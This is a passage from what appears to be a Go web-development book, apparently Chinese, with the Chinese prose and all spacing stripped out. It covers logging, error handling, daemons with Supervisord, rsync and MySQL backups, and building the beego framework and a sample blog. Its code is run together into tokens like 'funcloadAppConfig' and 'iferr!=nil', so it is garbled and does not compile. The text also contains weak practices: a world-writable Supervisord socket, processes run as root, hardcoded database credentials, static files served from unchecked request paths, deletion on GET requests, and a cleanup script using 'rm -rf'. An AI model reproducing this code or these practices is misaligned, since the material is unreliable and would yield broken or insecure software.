funcloadAppConfig(){appConfig:=`<seelogminlevel="warn"><outputsformatid="common"><rollingfiletype="size"filename="/data/logs/roll.log"maxsize="100000"maxrolls="5"/><filterlevels="critical"><filepath="/data/logs/critical.log"formatid="critical"/><smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp></filter></outputs><formats><formatid="common"format="%Date/%Time[%LEV]%Msg%n"/><formatid="critical"format="%File%FullPath%Func%Msg%n"/><formatid="criticalemail"format="Criticalerroronourserver!\n%Time%Date%RelFile%Func%Msg\nSentbySeelog"/></formats></seelog>`logger,err:=seelog.LoggerFromConfigAsBytes([]byte(appConfig))iferr!=nil{fmt.Println(err)return}UseLogger(logger)}

funcinit(){DisableLog()loadAppConfig()}

//DisableLogdisablesalllibrarylogoutputfuncDisableLog(){Logger=seelog.Disabled

}

//UseLoggerusesaspecifiedseelog.LoggerInterfacetooutputlibrarylog.//UsethisfuncifyouareusingSeelogloggingsysteminyourapp.

funcUseLogger(newLoggerseelog.LoggerInterface){Logger=newLogger}

DisableLog

LoggerseelogLogger

loadAppConfig

seelogXML

seelog

minlevelmaxlevel

outputs

logrotatefiltercritical

formats

UseLogger

packagemain

import("net/http""project/logs""project/configs""project/routes")

funcmain(){addr,_:=configs.MainConfig.String("server","addr")logs.Logger.Info("Startserverat:%v",addr)err:=http.ListenAndServe(addr,routes.NewMux())logs.Logger.Critical("Servererr:%v",err)}

smtp

<smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp>

criticalemailSMTPrecipient

logs.Logger.Critical("testCriticalmessage")

CriticalEmail

"Info""warn"linuxgrep

#cat/data/logs/roll.log|grep"failedlogin"2012-12-1111:12:00WARN:failedloginattemptfrom11.22.33.44usernamepassword

Webseeloglogrotate

seelogseelogminlevel

links

::

12.2WebWeb

SQLSQL

ini

json

HTTP404401403503

2

Web(404.html)(error.html)errnil404

404.htmlerror.html

<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initia

l-scale=1.0">

</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1>404!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>

<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initial-scale=1.0">

</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1> </h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>

404

func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}NotFound404(w,r)return}

funcNotFound404(whttp.ResponseWriter,r*http.Request){log.Error("" )//t,_=t.ParseFiles("tmpl/404.html",nil)//

ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}

funcSystemError(whttp.ResponseWriter,r*http.Request){log.Critical("" )//

t,_=t.ParseFiles("tmpl/error.html",nil)//

ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}

try..catchGopanicnet.ConnWritepanic

panicx[j]jpanicpanicgoroutinepanicGopanicuidUserusernameuidrecoverrecover

funcGetUser(uidint)(usernamestring){

deferfunc(){ifx:=recover();x!=nil{username=""}}()

username=User[uid]return}

packagepanicpanicrecoverpackage

WebGo

links

::

12.3WebGoCdaemonGodaemonGoSupervisordupstartdaemontoolsSupervisord

daemon

GodaemonGobug: `http://code.google.com/p/go/issues/detail?id=227`fork

daemon2

MarGoCommand

d:=flag.Bool("d",false,"Whetherornottolaunchinthebackground(likeadaemon)")if*d{cmd:=exec.Command(os.Args[0],"-close-fds","-addr",*addr,"-call",*call,)serr,err:=cmd.StderrPipe()iferr!=nil{log.Fatalln(err)}err=cmd.Start()iferr!=nil{log.Fatalln(err)}s,err:=ioutil.ReadAll(serr)s=bytes.TrimSpace(s)ifbytes.HasPrefix(s,[]byte("addr:")){fmt.Println(string(s))cmd.Process.Release()}else{log.Printf("unexpectedresponsefromMarGo:`%s`error:`%v`\n",s,err)cmd.Process.Kill()}}

syscall

packagemain

import("log""os""syscall")

funcdaemon(nochdir,nocloseint)int{varret,ret2uintptrvarerruintptr

darwin:=syscall.OS=="darwin"

//alreadyadaemonifsyscall.Getppid()==1{return0}

//forkofftheparentprocessret,ret2,err=syscall.RawSyscall(syscall.SYS_FORK,0,0,0)iferr!=0{return-1}

//failureifret2<0{os.Exit(-1)}

//handleexceptionfordarwinifdarwin&&ret2==1{ret=0}

//ifwegotagoodPID,thenwecallexittheparentprocess.ifret>0{os.Exit(0)}

/*Changethefilemodemask*/_=syscall.Umask(0)

//createanewSIDforthechildprocesss_ret,s_errno:=syscall.Setsid()ifs_errno!=0{log.Printf("Error:syscall.Setsiderrno:%d",s_errno)}ifs_ret<0{return-1}

ifnochdir==0{os.Chdir("/")}

ifnoclose==0{f,e:=os.OpenFile("/dev/null",os.O_RDWR,0)ife==nil{fd:=f.Fd()syscall.Dup2(fd,os.Stdin.Fd())syscall.Dup2(fd,os.Stdout.Fd())syscall.Dup2(fd,os.Stderr.Fd())}}

return0}

Godaemondaemonskynetdaemon

Supervisord

Godaemonsupervisorddaemon

SupervisordSupervisordOSSupervisord100000Supervisord10241024OS

Supervisord

Supervisordsudoeasy_installsupervisorSupervisordsetup.pyinstall

easy_installsetuptools

http://pypi.python.org/pypi/setuptools#filespythonshsetuptoolsxxxx.eggeasy_installSupervisord

Supervisord

Supervisord/etc/supervisord.conf

;/etc/supervisord.conf[unix_http_server]file=/var/run/supervisord.sockchmod=0777chown=root:root

[inet_http_server]#Webport=9001username=adminpassword=yourpassword

[supervisorctl]; 'unix_http_server'serverurl=unix:///var/run/supervisord.sock

[supervisord]logfile=/var/log/supervisord/supervisord.log;(mainlogfile;default$CWD/supervisord.log)logfile_maxbytes=50MB;(maxmainlogfilebytesb4rotation;default50MB)logfile_backups=10;(numofmainlogfilerotationbackups;default10)loglevel=info;(loglevel;defaultinfo;others:debug,warn,trace)pidfile=/var/run/supervisord.pid;(supervisordpidfile;defaultsupervisord.pid)nodaemon=true;(startinforegroundiftrue;defaultfalse)minfds=1024;(min.availstartupfiledescriptors;default1024)minprocs=200;(min.availprocessdescriptors;default200)user=root;(defaultiscurrentuser,requiredifroot)childlogdir=/var/log/supervisord/;('AUTO'childlogdir,default$TEMP)

[rpcinterface:supervisor]supervisor.rpcinterface_factory=supervisor.rpcinterface:make_main

_rpcinterface

;program[program:blogdemon]command=/data/blog/blogdemonautostart=truestartsecs=5user=rootredirect_stderr=truestdout_logfile=/var/log/supervisord/blogdemon.log

Supervisord

Supervisordsupervisorsupervisorctl2

supervisordSupervisordsupervisorctlstopprogramxxx(programxxx)programxxx[program:blogdemon]blogdemonsupervisorctlstartprogramxxxsupervisorctlrestartprogramxxxsupervisorctlstopallstartrestartstopsupervisorctlreload

GodaemonGodaemondaemonpythonSupervisordSupervisordGo

links

::

12.4OSMysqlredis/

Web

rsyncrsyncwindowswindowscwrsync

rsync

rsync http://rsync.samba.org/rsyncLinux

#sudoapt-getinstallrsyncdebianubuntu#yuminstallrsyncFedoraRedhatCentOS#rpm-ivhrsyncFedoraRedhatCentOSrpm

Linux

tarxvfrsync-xxx.tar.gzcdrsync-xxx./configure--prefix=/usr;make;makeinstallgcc

rsync

rsync3rsyncd.conf()rsyncd.secrets()rsyncd.motd(rsync)

rsync

#/usr/bin/rsync--daemon--config=/etc/rsyncd.conf

--daemonrsyncrsync

echo'rsync--daemon'>>/etc/rc.d/rc.local

rsync

echo':' >/etc/rsyncd.secretschmod600/etc/rsyncd.secrets

[email protected]::www/var/rsync/backup

i. -avzP--helpii. --deleteABiii. --password-file/etc/rsyncd.secrets/etc/rsyncd.secrets

croniv. ""/etc/rsyncd.secretsv. 192.168.145.5IP

vi. ::wwwwww/etc/rsyncd.conf[www]/etc/rsyncd.conf[www]

crontabrsync

MySQL

MySQLMySQLmaster/slave(master/slave)master/slave

shellrsync

mysqlmysqldump

#!/bin/bash

#mysql_user="USER"#MySQLmysql_password="PASSWORD"#MySQLmysql_host="localhost"mysql_port="3306"mysql_charset="utf8"#MySQLbackup_db_arr=("db1""db2")#("db1""db2""db3")

backup_location=/var/www/mysql#"/"

expire_backup_delete="ON"#ONOFFexpire_days=3#3expire_backup_delete

#backup_time=`date+%Y%m%d%H%M`#backup_Ymd=`date+%Y-%m-%d`#backup_3ago=`date-d'3daysago'+%Y-%m-%d`#3backup_dir=$backup_location/$backup_Ymd#welcome_msg="WelcometouseMySQLbackuptools!"#

#MYSQLmysqlmysql_ps=`ps-ef|grepmysql|wc-l`mysql_listen=`netstat-an|grepLISTEN|grep$mysql_port|wc-l`if[[$mysql_ps==0]-o[$mysql_listen==0]];then

echo"ERROR:MySQLisnotrunning!backupstop!"exitelseecho$welcome_msgfi

#mysqlmysql-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password<<endusemysql;selecthost,userfromuserwhereuser='root'andhost='localhost';exitend

flag=`echo$?`if[$flag!="0"];thenecho"ERROR:Can'tconnectmysqlserver!backupstop!"exitelseecho"MySQLconnectok!Pleasewait......"#

if["$backup_db_arr"!=""];then#dbnames=$(cut-d','-f1-5$backup_database)#echo"arris(${backup_db_arr[@]})"fordbnamein${backup_db_arr[@]}doecho"database$dbnamebackupstart..."`mkdir-p$backup_dir``mysqldump-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password$dbname--default-character-set=$mysql_charset|gzip>$backup_dir/$dbname-$backup_time.sql.gz`flag=`echo$?`if[$flag=="0"];thenecho"database$dbnamesuccessbackupto$backup_dir/$dbname-$backup_time.sql.gz"elseecho"database$dbnamebackupfail!"

fi

doneelseecho"ERROR:Nodatabasetobackup!backupstop"exitfi

#if["$expire_backup_delete"=="ON"-a"$backup_location"!=""];then#`find$backup_location/-typed-o-typef-ctime+$expire_days-execrm-rf{}\;``find$backup_location/-typed-mtime+$expire_days|xargsrm-rf`echo"Expiredbackupdatadeletecomplete!"fiecho"Alldatabasebackupsuccess!Thankyou!"exitfi

shell

chmod600/root/mysql_backup.shchmod+x/root/mysql_backup.sh

crontab00:00/var/www/mysqlrsync

0000***/root/mysql_backup.sh

MySQL

MySQLslave

SQL

mysql-uusername-pdatabse<backup.sql

redis

redisNoSQLredismaster/slaveredisrsync

redis

redisMySQL

redisredisredisOKredis

rsyncMySQLredis

links

::

12.5Web

404()

Web

links

:: Web

13 Web12GoWebWebGo1WebMVC2URL3controllerresponserequest45Web

WebMVCMVC

links

: 12:

13.1

gopath

gopathGOPATHGOPATHwindowlinux/MacOSexportgopath=/home/astaxie/gopathgopathpkgbinsrcsrcbeeblogwindow

13.1GOPATH

13.2$gopath/src

--MVCGo

ModelViewGoRSS""GotemplateViewControllerHTTP

:

13.3

1. main.go2. HTTPURLmethod()3.4. HTTP5.6. Web

|——main.go|——conf|——controllers|——models|——utils

|——static|——views

REST

GOPATHMVC

links

::

13.2

HTTP

HTTPHTTP(struct)

(path)(:/user/123,/article/123)(?id=11)HTTP(method)(GETPOSTPUTDELETEPATCH)

()

3.4GohttpGohttp

funcfooHandler(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))}

http.Handle("/foo",fooHandler)

http.HandleFunc("/bar",func(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))})

log.Fatal(http.ListenAndServe(":8080",nil))

httpDefaultServeMuxURL(r.URL.Path)

Go http.Handlehttp.HandleFuncDefaultServeMux.Handle(patternstring,handlerHandler)mapmap[string]muxEntity`

GotcpHandlernil http.DefaultServeMuxDefaultServeMux.ServeHTTPmapURL

fork,v:=rangemux.m{if!pathMatch(k,path){continue}ifh==nil||len(k)>n{n=len(k)h=v.h}}

beego

WebhttpGo

/user/:uidREST/fooGETPOSTDELETEHEADAPI30struct

beegoRESTGo

23RESTstructstructmethod

controllerInfo(structreflect.Type)ControllerRegistor(routersslice)

typecontrollerInfostruct{regex*regexp.Regexpparamsmap[int]stringcontrollerTypereflect.Type}

typeControllerRegistorstruct{routers[]*controllerInfoApplication*App}

ControllerRegistor

func(p*ControllerRegistor)Add(patternstring,cControllerInterface)

func(p*ControllerRegistor)Add(patternstring,cControllerInterface){parts:=strings.Split(pattern,"/")

j:=0params:=make(map[int]string)fori,part:=rangeparts{ifstrings.HasPrefix(part,":"){expr:="([^/]+)"

//ausermaychoosetooverridethedefultexpression//similartoexpressjs:‘/user/:id([0-9]+)’

ifindex:=strings.Index(part,"(");index!=-1{expr=part[index:]part=part[:index]}params[j]=partparts[i]=exprj++}}

//recreatetheurlpattern,withparametersreplaced//byregularexpressions.thencompiletheregex

pattern=strings.Join(parts,"/")regex,regexErr:=regexp.Compile(pattern)ifregexErr!=nil{

//TODOadderrorhandlingheretoavoidpanicpanic(regexErr)return}

//nowcreatetheRoutet:=reflect.Indirect(reflect.ValueOf(c)).Type()route:=&controllerInfo{}route.regex=regexroute.params=paramsroute.controllerType=t

p.routers=append(p.routers,route)

}

GohttpFileServerbeegoStaticDirStaticDirmap

func(app*App)SetStaticPath(urlstring,pathstring)*App{StaticDir[url]=pathreturnapp}

beego.SetStaticPath("/img","/static/img")

ControllerRegistor

//AutoRoutefunc(p*ControllerRegistor)ServeHTTP(whttp.ResponseWriter,r*http.Request){deferfunc(){iferr:=recover();err!=nil{if!RecoverPanic{//gobacktopanicpanic(err)}else{Critical("Handlercrashedwitherror",err)fori:=1;;i+=1{_,file,line,ok:=runtime.Caller(i)if!ok{break}Critical(file,line)}}

}}()varstartedboolforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)started=truereturn}}requestPath:=r.URL.Path

//findamatchingRoutefor_,route:=rangep.routers{

//checkifRoutepatternmatchesurlif!route.regex.MatchString(requestPath){continue}

//getsubmatches(params)matches:=route.regex.FindStringSubmatch(requestPath)

//doublecheckthattheRoutematchestheURLpattern.iflen(matches[0])!=len(requestPath){continue}

params:=make(map[string]string)iflen(route.params)>0{//addurlparameterstothequeryparammapvalues:=r.URL.Query()fori,match:=rangematches[1:]{values.Add(route.params[i],match)params[route.params[i]]=match}

//reassemblequeryparamsandaddtoRawQueryr.URL.RawQuery=url.Values(values).Encode()+"&"+r.URL.RawQuery//r.URL.RawQuery=url.Values(values).Encode()}//Invoketherequesthandlervc:=reflect.New(route.controllerType)init:=vc.MethodByName("Init")

in:=make([]reflect.Value,2)ct:=&Context{ResponseWriter:w,Request:r,Params:params}in[0]=reflect.ValueOf(ct)in[1]=reflect.ValueOf(route.controllerType.Name())init.Call(in)in=make([]reflect.Value,0)method:=vc.MethodByName("Prepare")method.Call(in)ifr.Method=="GET"{method=vc.MethodByName("Get")method.Call(in)}elseifr.Method=="POST"{method=vc.MethodByName("Post")method.Call(in)}elseifr.Method=="HEAD"{method=vc.MethodByName("Head")method.Call(in)}elseifr.Method=="DELETE"{method=vc.MethodByName("Delete")method.Call(in)}elseifr.Method=="PUT"{method=vc.MethodByName("Put")method.Call(in)}elseifr.Method=="PATCH"{method=vc.MethodByName("Patch")method.Call(in)}elseifr.Method=="OPTIONS"{method=vc.MethodByName("Options")method.Call(in)}ifAutoRender{method=vc.MethodByName("Render")method.Call(in)}method=vc.MethodByName("Finish")method.Call(in)started=truebreak}

//ifnomatchestourl,throwanotfoundexceptionifstarted==false{http.NotFound(w,r)}}

beego.BeeApp.RegisterController("/",&controllers.MainController{})

beego.BeeApp.RegisterController("/:param",&controllers.UserController{})

beego.BeeApp.RegisterController("/users/:uid([0-9]+)",&controllers.UserController{})

links

:: controller

13.3controllerMVCActionwebRESTFilterrewriteURLRESTURLRESTMVCRESTMVCcontrollerWeb"Hello,world"

controller

MVCWebModelViewController(UI)ModelViewHTMLControllerWebURLURLcontrollerMVCModelView302ModelViewController

beego REST

structstructRESTcontrollerstructinterface

typeControllerstruct{Ct*ContextTpl*template.TemplateDatamap[interface{}]interface{}ChildNamestringTplNamesstringLayout[]stringTplExtstring}

typeControllerInterfaceinterface{Init(ct*Context,cnstring)//Prepare()//Get()//method=GETPost()//method=POSTDelete()//method=DELETEPut()//method=PUTHead()//method=HEADPatch()//method=PATCHOptions()//method=OPTIONSFinish()//Render()error//method}

addControllerInterfaceContoroller

func(c*Controller)Init(ct*Context,cnstring){

c.Data=make(map[interface{}]interface{})c.Layout=make([]string,0)c.TplNames=""c.ChildName=cnc.Ct=ctc.TplExt="tpl"}

func(c*Controller)Prepare(){

}

func(c*Controller)Finish(){

}

func(c*Controller)Get(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Post(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Delete(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Put(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Head(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Patch(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Options(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Render()error{iflen(c.Layout)>0{

varfilenames[]stringfor_,file:=rangec.Layout{filenames=append(filenames,path.Join(ViewsPath,file))}t,err:=template.ParseFiles(filenames...)iferr!=nil{Trace("templateParseFileserr:",err)}err=t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}else{ifc.TplNames==""{c.TplNames=c.ChildName+"/"+c.Ct.Request.Method+"."+c.TplExt}t,err:=template.ParseFiles(path.Join(ViewsPath,c.TplNames))iferr!=nil{Trace("templateParseFileserr:",err)}err=t.Execute(c.Ct.ResponseWriter,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}returnnil}

func(c*Controller)Redirect(urlstring,codeint){c.Ct.Redirect(code,url)}

controllerurlcontroller

Init()Prepare()method()methodGETPOSTPUTHEAD403Render()AutoRender

Finish()

beegocontroller

packagecontrollers

import("github.com/astaxie/beego")

typeMainControllerstruct{beego.Controller}

func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}

MainControllerGet(POST/HEAD)403GetAutoRender=trueGetRender

index.tpl

<!DOCTYPEhtml><html><head>

<title>beegowelcometemplate</title></head><body><h1>Hello,world!{{.Username}},{{.Email}}</h1></body></html>

links

::

13.4

seeloglevellevellevel

beego

beegoseeloglevelbeegolog.Loggeros.Stdoutbeego.SetLoggr

//Loglevelstocontroltheloggingoutput.const(LevelTrace=iotaLevelDebugLevelInfoLevelWarningLevelErrorLevelCritical

)

//logLevelcontrolsthegloballoglevelusedbythelogger.varlevel=LevelTrace

//LogLevelreturnsthegloballoglevelandcanbeusedin//ownimplementationsoftheloggerinterface.funcLevel()int{returnlevel}

//SetLogLevelsetsthegloballoglevelusedbythesimple//logger.funcSetLevel(lint){level=l}

TraceSetLevel

//loggerreferencestheusedapplicationlogger.varBeeLogger=log.New(os.Stdout,"",log.Ldate|log.Ltime)

//SetLoggersetsanewlogger.funcSetLogger(l*log.Logger){BeeLogger=l}

//Tracelogsamessageattracelevel.funcTrace(v...interface{}){iflevel<=LevelTrace{BeeLogger.Printf("[T]%v\n",v)}}

//Debuglogsamessageatdebuglevel.funcDebug(v...interface{}){iflevel<=LevelDebug{BeeLogger.Printf("[D]%v\n",v)}}

//Infologsamessageatinfolevel.funcInfo(v...interface{}){iflevel<=LevelInfo{

BeeLogger.Printf("[I]%v\n",v)}}

//Warninglogsamessageatwarninglevel.funcWarn(v...interface{}){iflevel<=LevelWarning{BeeLogger.Printf("[W]%v\n",v)}}

//Errorlogsamessageaterrorlevel.funcError(v...interface{}){iflevel<=LevelError{BeeLogger.Printf("[E]%v\n",v)}}

//Criticallogsamessageatcriticallevel.funcCritical(v...interface{}){iflevel<=LevelCritical{BeeLogger.Printf("[C]%v\n",v)}}

BeeLoggeros.Stdoutbeego.SetLoggerlogger

Trace"Enteredparsefunctionvalidationblock""Validation:enteredsecond'if'""Dictionary'Dict'isempty.Usingdefaultvalue"

Debug"Webpagerequested:http://somesite.comParams='...'""Responsegenerated.Responsesize:10000.Sending.""Newfilereceived.Type:PNGSize:20000"

Info"Webserverrestarted""Hourlystatistics:Requestedpages:12345Errors:123...""Servicepaused.Waitingfor'resume'call"

Warn"Cachecorruptedforfile='test.file'.Readingfromback-end""Database192.168.0.7/DBnotresponding.Usingbackup192.168.0.8/DB""Noresponsefromstatisticsserver.Statisticsnotsent"

Error"Internalerror.Cannotprocessrequest#12345Error:....""Cannotperformlogin:credentialsDBnotresponding"

Critical"Criticalpanicreceived:....Shuttingdown""Fatalerror:...Appisshuttingdowntopreventdatacorruptionorloss"

levellevel=LevelWarningTraceDebugInfo

beego

beegokey=valueinimapstringint

ini

var(bComment=[]byte{'#'}bEmpty=[]byte{}bEqual=[]byte{'='}bDQuote=[]byte{'"'})

//AConfigrepresentstheconfiguration.typeConfigstruct{filenamestringcommentmap[int][]string//id:[]{comment,key...};id1isformaincomment.

datamap[string]string//key:valueoffsetmap[string]int64//key:offset;forediting.sync.RWMutex}

key=value

//ParseFilecreatesanewConfigandparsesthefileconfigurationfromthe//namedfile.funcLoadConfig(namestring)(*Config,error){file,err:=os.Open(name)iferr!=nil{returnnil,err}

cfg:=&Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}cfg.Lock()defercfg.Unlock()deferfile.Close()

varcommentbytes.Bufferbuf:=bufio.NewReader(file)

fornComment,off:=0,int64(1);;{line,_,err:=buf.ReadLine()iferr==io.EOF{break}ifbytes.Equal(line,bEmpty){continue}

off+=int64(len(line))

ifbytes.HasPrefix(line,bComment){line=bytes.TrimLeft(line,"#")line=bytes.TrimLeftFunc(line,unicode.IsSpace)

comment.Write(line)comment.WriteByte('\n')continue}ifcomment.Len()!=0{cfg.comment[nComment]=[]string{comment.String()}comment.Reset()nComment++}

val:=bytes.SplitN(line,bEqual,2)ifbytes.HasPrefix(val[1],bDQuote){val[1]=bytes.Trim(val[1],`"`)}

key:=strings.TrimSpace(string(val[0]))cfg.comment[nComment-1]=append(cfg.comment[nComment-1],key)cfg.data[key]=strings.TrimSpace(string(val[1]))cfg.offset[key]=off}returncfg,nil}

boolintfloat64string

//Boolreturnsthebooleanvalueforagivenkey.func(c*Config)Bool(keystring)(bool,error){returnstrconv.ParseBool(c.data[key])}

//Intreturnstheintegervalueforagivenkey.func(c*Config)Int(keystring)(int,error){returnstrconv.Atoi(c.data[key])}

//Floatreturnsthefloatvalueforagivenkey.func(c*Config)Float(keystring)(float64,error){returnstrconv.ParseFloat(c.data[key],64)}

//Stringreturnsthestringvalueforagivenkey.func(c*Config)String(keystring)string{returnc.data[key]

}

urljson

funcGetJson(){resp,err:=http.Get(beego.AppConfig.String("url"))iferr!=nil{beego.Critical("httpgetinfoerror")return}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)err=json.Unmarshal(body,&AllInfo)iferr!=nil{beego.Critical("error:",err)}}

beego.Critical beego.AppConfig.String("url")(app.conf)

appname=hsurl="http://www.api.com/api.html"

links

: controller: //

13.5 / /

beegobeego

/main.go/views:/view.tpl/new.tpl/layout.tpl/index.tpl/edit.tpl/models/model.go/controllers:/index.go/view.go/new.go/delete.go/edit.go

//beego.Router("/",&controllers.IndexController{})//beego.Router("/view/:id([0-9]+)",&controllers.ViewController{})//beego.Router("/new",&controllers.NewController{})//beego.Router("/delete/:id([0-9]+)",&controllers.DeleteController{})//beego.Router("/edit/:id([0-9]+)",&controllers.EditController{})

CREATETABLEentries(idINTAUTO_INCREMENT,titleTEXT,contentTEXT,createdDATETIME,primarykey(id));

IndexController:

typeIndexControllerstruct{beego.Controller}

func(this*IndexController)Get(){this.Data["blogs"]=models.GetAll()this.Layout="layout.tpl"this.TplNames="index.tpl"}

ViewController:

typeViewControllerstruct{beego.Controller}

func(this*ViewController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="view.tpl"

}

NewController

typeNewControllerstruct{beego.Controller}

func(this*NewController)Get(){this.Layout="layout.tpl"this.TplNames="new.tpl"}

func(this*NewController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}

EditController

typeEditControllerstruct{beego.Controller}

func(this*EditController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="edit.tpl"}

func(this*EditController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Id,_=strconv.Atoi(inputs.Get("id"))blog.Title=inputs.Get("title")

blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}

DeleteController

typeDeleteControllerstruct{beego.Controller}

func(this*DeleteController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])blog:=models.GetBlog(id)this.Data["Post"]=blogmodels.DelBlog(blog)this.Ctx.Redirect(302,"/")}

model

packagemodels

import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv""time")

typeBlogstruct{Idint`PK`TitlestringContentstringCreatedtime.Time}

funcGetLink()beedb.Model{db,err:=sql.Open("mymysql","blog/astaxie/123456")

iferr!=nil{panic(err)}orm:=beedb.New(db)returnorm}

funcGetAll()(blogs[]Blog){db:=GetLink()db.FindAll(&blogs)return}

funcGetBlog(idint)(blogBlog){db:=GetLink()db.Where("id=?",id).Find(&blog)return}

funcSaveBlog(blogBlog)(bgBlog){db:=GetLink()db.Save(&blog)returnbg}

funcDelBlog(blogBlog){db:=GetLink()db.Delete(&blog)return}

view

layout.tpl

<html><head><title>MyBlog</title><style>#menu{width:200px;float:right;

}</style></head><body>

<ulid="menu"><li><ahref="/">Home</a></li><li><ahref="/new">NewPost</a></li></ul>

{{.LayoutContent}}

</body></html>

index.tpl

<h1>Blogposts</h1>

<ul>{{range.blogs}}<li><ahref="/view/{{.Id}}">{{.Title}}</a>from{{.Created}}<ahref="/edit/{{.Id}}">Edit</a><ahref="/delete/{{.Id}}">Delete</a></li>{{end}}</ul>

view.tpl

<h1>{{.Post.Title}}</h1>{{.Post.Created}}<br/>

{{.Post.Content}}

new.tpl

<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"><br>

<textareaname="content"colspan="3"rowspan="10"></textarea><inputtype="submit"></form>

edit.tpl

<h1>Edit{{.Post.Title}}</h1>

<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"value="{{.Post.Title}}"><br>

<textareaname="content"colspan="3"rowspan="10">{{.Post.Content}}</textarea><inputtype="hidden"name="id"value="{{.Post.Id}}"><inputtype="submit"></form>

links

::

13.6GoGohttpMVCControllercontrollerRESTtornadelayoutGobeegogithubbeego

links

: //: Web

14Web13WebMVCWebWeb1twitterbootstrapsession3model4httpbascihttpdigest5i18n

beegoWeb13beego

links

: 13:

14.1beegotwitterhtmlcssbootstrap

beego

Gonet/http ServeFileFileServerbeego

//staticfileserverforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)w.started=truereturn}}

StaticDirurlURLurlhttp.ServeFile

beego.StaticDir["/asset"]="/static"

urlhttp://www.beego.me/asset/bootstrap.css /static/bootstrap.css

bootstrap

BootstrapTwitterBootstrapWebCSSHTMLHTML5Web

BootstrapWeb

Javascript Bootstrap13jQueryBootstrap""

BootstrapCSS

14.1bootstrap

bootstrapbeego

1. bootstrapstatic

14.2

2. beegoStaticDirstatic

StaticDir["/static"]="static"

3. OK

//css<linkhref="/static/css/bootstrap.css"rel="stylesheet">

//js<scriptsrc="/static/js/bootstrap-transition.js"></script>

//<imgsrc="/static/img/logo.png">

bootstrapbeego

14.3bootstrap

bootstrapbootstrap

links

: Web: Session

14.2Session6GosessionsessionMangerbeegosessionManager

session

beegosession

//relatedtosessionSessionOnbool//sessionSessionProviderstring//sessionsessionManagermemory

SessionNamestring//cookiesSessionGCMaxLifetimeint64//cookies

GlobalSessions*session.Manager//session

ifar,err:=AppConfig.Bool("sessionon");err!=nil{SessionOn=false}else{SessionOn=ar}ifar:=AppConfig.String("sessionprovider");ar==""{SessionProvider="memory"}else{SessionProvider=ar}ifar:=AppConfig.String("sessionname");ar==""{SessionName="beegosessionID"}else{SessionName=ar}ifar,err:=AppConfig.Int("sessiongcmaxlifetime");err!=nil&&ar!=0{int64val,_:=strconv.ParseInt(strconv.Itoa(ar),10,64)SessionGCMaxLifetime=int64val

}else{SessionGCMaxLifetime=3600}

beego.Run

ifSessionOn{GlobalSessions,_=session.NewManager(SessionProvider,SessionName,SessionGCMaxLifetime)goGlobalSessions.GC()}

SessionOntruesessiongoroutinesession

Controllersession beego.Controller

func(c*Controller)StartSession()(sesssession.Session){sess=GlobalSessions.SessionStart(c.Ctx.ResponseWriter,c.Ctx.Request)return}

session

beegosession

mainsession

beego.SessionOn=true

session

func(this*MainController)Get(){varintcountint

